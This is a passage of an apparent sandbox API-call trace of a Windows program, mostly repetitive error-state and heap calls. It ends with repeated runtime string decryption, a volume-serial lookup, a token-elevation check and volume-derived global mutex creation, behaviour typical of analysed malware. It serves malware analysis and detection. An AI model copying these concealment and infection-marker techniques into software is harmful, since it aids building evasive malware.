returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.411] SetLastError (dwErrCode=0x0) [0036.411] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.412] GetLastError () returned 0x0 [0036.412] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.413] SetLastError (dwErrCode=0x0) [0036.413] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.414] SetLastError (dwErrCode=0x0) [0036.414] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.415] SetLastError (dwErrCode=0x0) [0036.415] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.416] SetLastError (dwErrCode=0x0) [0036.416] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.417] SetLastError (dwErrCode=0x0) [0036.417] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] GetLastError () returned 0x0 [0036.418] SetLastError (dwErrCode=0x0) [0036.418] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x98) returned 0xb01a58 [0036.418] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1f) returned 0xb01af8 [0036.418] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x2b) returned 0xb01b20 [0036.418] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x37) returned 0xb01b58 [0036.418] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x3c) returned 0xb01b98 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x31) returned 0xb01be0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x18) returned 0xb01c20 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x24) returned 0xb01c40 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x14) returned 0xb01c70 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0xd) returned 0xb01c90 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1a) returned 0xb01ca8 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x2e) returned 0xb01cd0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x19) returned 0xb01d08 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x17) returned 0xb01d30 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0xe) returned 0xb01d50 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0xce) returned 0xb01d68 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x3e) returned 0xb01e40 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1b) returned 0xb01e88 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1d) returned 0xb01eb0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x48) returned 0xb01ed8 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x12) returned 0xb01f28 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x18) returned 0xb01f48 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1b) returned 0xb01f68 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x24) returned 0xb01f90 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x29) returned 0xb01fc0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb01ff8 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x69) returned 0xb02020 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x17) returned 0xb02098 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0xf) returned 0xb020b8 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x16) returned 0xb020d0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x2a) returned 0xb020f0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x29) returned 0xb02128 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x16) returned 0xb02160 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x13) returned 0xb02180 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1f) returned 0xb021a0 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x12) returned 0xb021c8 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x18) returned 0xb021e8 [0036.419] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x46) returned 0xb02208 [0036.435] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb011f8 | out: hHeap=0xb00000) returned 1 [0036.436] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0036.436] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x80) returned 0xb011f8 [0036.436] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb881f6) returned 0x0 [0036.436] RtlSizeHeap (HeapHandle=0xb00000, Flags=0x0, MemoryPointer=0xb011f8) returned 0x80 [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.437] GetLastError () returned 0x0 [0036.437] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.438] SetLastError (dwErrCode=0x0) [0036.438] GetLastError () returned 0x0 [0036.439] SetLastError (dwErrCode=0x0) [0036.439] GetLastError () returned 0x0 [0036.439] SetLastError (dwErrCode=0x0) [0036.439] GetLastError () returned 0x0 [0036.439] SetLastError (dwErrCode=0x0) [0036.439] GetLastError () returned 0x0 [0036.439] SetLastError (dwErrCode=0x0) [0036.439] GetLastError () returned 0x0 [0036.439] SetLastError (dwErrCode=0x0) [0036.439] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.440] GetLastError () returned 0x0 [0036.440] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.441] SetLastError (dwErrCode=0x0) [0036.441] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] SetLastError (dwErrCode=0x0) [0036.443] GetLastError () returned 0x0 [0036.443] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x30) returned 0xb01280 [0036.443] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x2d40) returned 0xb02258 [0036.444] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x174) returned 0xb012b8 [0036.444] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb01438 [0036.444] CryptAcquireContextW (in: phProv=0xb8fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xb8fcf0*=0x735018) returned 1 [0036.467] CryptImportKey (in: hProv=0x735018, pbData=0x2ff9f0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa58 | out: phKey=0x2ffa58*=0x734fd8) returned 1 [0036.468] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ffa40, dwFlags=0x0) returned 1 [0036.468] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01438, pdwDataLen=0x2ffa0c | out: pbData=0xb01438, pdwDataLen=0x2ffa0c) returned 1 [0036.468] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.468] GetTickCount () returned 0x1029cff [0036.468] GetLastError () returned 0x0 [0036.468] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x2ffa7c, cchData=32 | out: lpLCData="\x03") returned 16 [0036.469] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1c) returned 0xb01450 [0036.469] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1c) returned 0xb01478 [0036.469] GetVersion () returned 0x1db10106 [0036.469] GetCurrentProcess () returned 0xffffffff [0036.469] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2ffa64 | out: TokenHandle=0x2ffa64*=0x84) returned 1 [0036.469] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x2ffa5c, TokenInformationLength=0x4, ReturnLength=0x2ffa60 | out: TokenInformation=0x2ffa5c, ReturnLength=0x2ffa60) returned 1 [0036.469] CloseHandle (hObject=0x84) returned 1 [0036.469] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb014a0 [0036.469] CryptImportKey (in: hProv=0x735018, pbData=0x2ff958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c0 | out: phKey=0x2ff9c0*=0x734fd8) returned 1 [0036.469] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ff9a8, dwFlags=0x0) returned 1 [0036.469] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014a0, pdwDataLen=0x2ff974 | out: pbData=0xb014a0, pdwDataLen=0x2ff974) returned 1 [0036.470] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.470] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014c8 [0036.470] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014f0 [0036.470] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01518 [0036.470] CryptImportKey (in: hProv=0x735018, pbData=0x2ff930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff998 | out: phKey=0x2ff998*=0x734fd8) returned 1 [0036.470] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ff980, dwFlags=0x0) returned 1 [0036.470] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01518, pdwDataLen=0x2ff94c | out: pbData=0xb01518, pdwDataLen=0x2ff94c) returned 1 [0036.470] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.470] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01518 | out: hHeap=0xb00000) returned 1 [0036.471] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.471] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f0 | out: hHeap=0xb00000) returned 1 [0036.471] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014a0 | out: hHeap=0xb00000) returned 1 [0036.471] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2ffa00, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2ffa00*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.471] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014c8 | out: hHeap=0xb00000) returned 1 [0036.471] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb014a0 [0036.471] CryptImportKey (in: hProv=0x735018, pbData=0x2ff98c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9f4 | out: phKey=0x2ff9f4*=0x734fd8) returned 1 [0036.471] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ff9dc, dwFlags=0x0) returned 1 [0036.471] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014a0, pdwDataLen=0x2ff9a8 | out: pbData=0xb014a0, pdwDataLen=0x2ff9a8) returned 1 [0036.471] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.471] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb014e8 [0036.471] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x88 [0036.472] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0036.472] CloseHandle (hObject=0x88) returned 1 [0036.472] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014a0 | out: hHeap=0xb00000) returned 1 [0036.472] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014e8 | out: hHeap=0xb00000) returned 1 [0036.472] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb014a0 [0036.472] CryptImportKey (in: hProv=0x735018, pbData=0x2ff96c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9d4 | out: phKey=0x2ff9d4*=0x734fd8) returned 1 [0036.472] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ff9bc, dwFlags=0x0) returned 1 [0036.472] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014a0, pdwDataLen=0x2ff988 | out: pbData=0xb014a0, pdwDataLen=0x2ff988) returned 1 [0036.472] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.473] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014c8 [0036.473] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014f0 [0036.473] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01518 [0036.473] CryptImportKey (in: hProv=0x735018, pbData=0x2ff944*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9ac | out: phKey=0x2ff9ac*=0x734fd8) returned 1 [0036.473] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ff994, dwFlags=0x0) returned 1 [0036.473] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01518, pdwDataLen=0x2ff960 | out: pbData=0xb01518, pdwDataLen=0x2ff960) returned 1 [0036.473] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.473] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01518 | out: hHeap=0xb00000) returned 1 [0036.473] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.473] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f0 | out: hHeap=0xb00000) returned 1 [0036.473] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014a0 | out: hHeap=0xb00000) returned 1 [0036.474] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2ffa14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2ffa14*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.474] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014c8 | out: hHeap=0xb00000) returned 1 [0036.474] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb014a0 [0036.474] CryptImportKey (in: hProv=0x735018, pbData=0x2ff9a0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa08 | out: phKey=0x2ffa08*=0x734fd8) returned 1 [0036.474] CryptSetKeyParam (hKey=0x734fd8, dwParam=0x1, pbData=0x2ff9f0, dwFlags=0x0) returned 1 [0036.474] CryptDecrypt (in: hKey=0x734fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014a0, pdwDataLen=0x2ff9bc | out: pbData=0xb014a0, pdwDataLen=0x2ff9bc) returned 1 [0036.474] CryptDestroyKey (hKey=0x734fd8) returned 1 [0036.474] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb014e8 [0036.474] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x0 [0036.474] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF00") returned 0x88 [0036.474] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0036.474] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014a0 | out: hHeap=0xb00000) returned 1 [0036.475] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014e8 | out: hHeap=0xb00000) returned 1 [0036.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb82019, lpParameter=0x2ffadc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90 [0036.476] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x60) returned 0xb014a0 [0036.476] CryptImportKey (in: hProv=0x735018, pbData=0x2ff9b0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa18 | out: phKey=0x2ffa18*=0x735430) returned 1 [0036.476] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ffa00, dwFlags=0x0) returned 1 [0036.476] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014a0, pdwDataLen=0x2ff9cc | out: pbData=0xb014a0, pdwDataLen=0x2ff9cc) returned 1 [0036.476] CryptDestroyKey (hKey=0x735430) returned 1 [0036.476] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb01508 [0036.476] CryptImportKey (in: hProv=0x735018, pbData=0x2ff988*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9f0 | out: phKey=0x2ff9f0*=0x735430) returned 1 [0036.476] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9d8, dwFlags=0x0) returned 1 [0036.476] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01508, pdwDataLen=0x2ff9a4 | out: pbData=0xb01508, pdwDataLen=0x2ff9a4) returned 1 [0036.476] CryptDestroyKey (hKey=0x735430) returned 1 [0036.476] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb01530 [0036.476] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb01558 [0036.476] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01580 [0036.476] CryptImportKey (in: hProv=0x735018, pbData=0x2ff960*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c8 | out: phKey=0x2ff9c8*=0x735430) returned 1 [0036.476] CryptSetKeyParam 